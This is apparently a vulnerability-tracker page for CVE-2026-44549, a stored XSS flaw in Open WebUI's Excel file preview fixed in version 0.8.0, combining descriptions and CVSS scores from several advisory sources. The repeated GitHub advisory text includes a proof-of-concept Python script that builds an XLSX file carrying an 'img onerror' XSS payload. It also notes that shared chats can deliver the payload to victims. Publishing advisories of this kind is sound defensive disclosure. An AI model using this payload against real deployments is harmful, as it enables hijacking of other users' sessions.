CVE-2026-44549
Open WebUI: Stored XSS in excel file preview
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
Open WebUI: Stored XSS in excel file preview
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
- Record
CVE-2026-44549- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
EUVDEUVD-2026-30639
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
- Record
EUVD-2026-30639- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-jwf8-pv5p-vhmc
Open WebUI has stored XSS in Excel file preview
Summary
Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger.
Details
The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133
XLSX attachments are processed by this function, converted to HTML with XLSX.utils.sheet_to_html before ultimately being assigned to the variable excelHtml. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected.
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400
PoC
A python script to generate a payload file is as follows:
import xlsxwriter
payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">'
workbook = xlsxwriter.Workbook('xss_payload.xlsx')
worksheet = workbook.add_worksheet()
payload_format = workbook.add_format()
worksheet.write_rich_string('A1',
'This cell contains a hidden payload: ',
payload_format, payload
)
worksheet.write('A2', 'This is a safe cell.')
worksheet.write('B1', 'Column B')
workbook.close()
Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" />
Impact
Any user can create a weaponised chat…
- Record
GHSA-jwf8-pv5p-vhmc- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
NVD
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
- Record
CVE-2026-44549- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - CVSS 3.1
- 8.7 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSV
Open WebUI: Stored XSS in excel file preview
Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.8.0, Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger. This vulnerability is fixed in 0.8.0.
- Record
CVE-2026-44549- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVGHSA-jwf8-pv5p-vhmc
Open WebUI has stored XSS in Excel file preview
Summary
Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger.
Details
The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133
XLSX attachments are processed by this function, converted to HTML with XLSX.utils.sheet_to_html before ultimately being assigned to the variable excelHtml. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected.
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400
PoC
A python script to generate a payload file is as follows:
import xlsxwriter
payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">'
workbook = xlsxwriter.Workbook('xss_payload.xlsx')
worksheet = workbook.add_worksheet()
payload_format = workbook.add_format()
worksheet.write_rich_string('A1',
'This cell contains a hidden payload: ',
payload_format, payload
)
worksheet.write('A2', 'This is a safe cell.')
worksheet.write('B1', 'Column B')
workbook.close()
Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" />
Impact
Any user can create a weaponised chat…
- Record
GHSA-jwf8-pv5p-vhmc- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Weakness
- CWE-79
- Updated
- 2026-11-02
OSVPYSEC-2026-2744
Open WebUI has stored XSS in Excel file preview
Summary
Excel file attachments are previewed in an unsafe way. A crafted XLSX file payload can be used to cause the sheetjs function sheet_to_html to embed an XSS payload into the generated HTML. This is subsequently added to the DOM unsanitized via @html causing the payload to trigger.
Details
The function used to convert XLSX documents to HTML for preview does not perform any input validation or sanitisation for the generated HTML
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L120-L133
XLSX attachments are processed by this function, converted to HTML with XLSX.utils.sheet_to_html before ultimately being assigned to the variable excelHtml. Later there is logic that causes this to be assigned directly to the DOM when the preview tab is selected.
https://github.com/open-webui/open-webui/blob/a7271532f8a38da46785afcaa7e65f9a45e7d753/src/lib/components/common/FileItemModal.svelte#L358-L400
PoC
A python script to generate a payload file is as follows:
import xlsxwriter
payload = '<img src=x onerror="alert(\'XSS Triggered by XLSX file\')">'
workbook = xlsxwriter.Workbook('xss_payload.xlsx')
worksheet = workbook.add_worksheet()
payload_format = workbook.add_format()
worksheet.write_rich_string('A1',
'This cell contains a hidden payload: ',
payload_format, payload
)
worksheet.write('A2', 'This is a safe cell.')
worksheet.write('B1', 'Column B')
workbook.close()
Upload the generated file as an attachment to a chat, open the file modal, and click preview. Observe the XSS triggers. <img width="2444" height="1386" alt="image" src="https://github.com/user-attachments/assets/8400efb0-ea6f-4878-abdb-4c2fe529241f" /> This same process can be triggered in shared chats, allowing the payload to be distributed to victims. <img width="2386" height="1646" alt="image" src="https://github.com/user-attachments/assets/d0eda49c-8fcf-4fc4-bbb0-c8951b0369c3" />
Impact
Any user can create a weaponised chat…
- Record
PYSEC-2026-2744- CVSS 3.1
- 7.3 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
open-webuiPyPI |
through 0.7.2 | 0.8.0 |
open-webuiPyPI |
before 0.8.0, plus listed versions 0.1.1240.1.1250.2.00.2.10.2.2 Show 45 moreShow less0.2.30.2.40.2.50.3.00.3.10.3.100.3.120.3.130.3.140.3.150.3.160.3.170.3.17.dev20.3.17.dev30.3.17.dev40.3.17.dev50.3.180.3.190.3.20.3.200.3.210.3.220.3.230.3.240.3.250.3.260.3.270.3.27.dev10.3.27.dev20.3.27.dev30.3.280.3.290.3.30.3.300.3.30.dev10.3.30.dev20.3.310.3.31.dev10.3.320.3.330.3.33.dev10.3.340.3.350.3.40.3.5 |
0.8.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-44549 is a high vulnerability (CVSS 7.3) in Openwebui Open Webui, published May 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.32%, the 24th percentile. Fixed in open-webui 0.8.0.
References
Left out here: 88 versions and the rest of 3 source descriptions. The JSON record has them.